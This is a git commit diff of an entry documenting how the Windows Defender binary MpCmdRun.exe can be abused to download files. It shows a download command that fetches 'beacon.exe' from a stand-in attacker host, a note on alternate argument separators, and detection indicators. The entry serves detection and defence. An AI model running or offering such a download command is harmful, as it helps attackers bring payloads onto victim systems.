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Update MpCmdRun.yml

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Added note that slashes (/) can also be used as command separators, and that the UA is MpCommunication
Thanks!
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Rich Rumble 2020-09-03 10:39:24 -04:00 committed by GitHub
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yml/OSBinaries/MpCmdRun.yml
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@ -5,6 +5,7 @@ Author: 'Oddvar Moe'
Created: '09/03/2020' Created: '09/03/2020'
Commands: Commands:
- Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe - Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe
Note: Slashes work as command line argument seperators /Downloadfile, /url, /path, as well as mixing dash and slash
Description: Download file to specified path Description: Download file to specified path
Usecase: Download file Usecase: Download file
Category: Download Category: Download
@ -31,6 +32,7 @@ Detection:
- IOC: MpCmdRun getting a file from a remote machine or the internet that is not expected. - IOC: MpCmdRun getting a file from a remote machine or the internet that is not expected.
- IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe. - IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
- IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log - IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
- IOC: User Agent is "MpCommunication"
Resources: Resources:
- Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus - Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus
- Link: https://twitter.com/mohammadaskar2/status/1301263551638761477 - Link: https://twitter.com/mohammadaskar2/status/1301263551638761477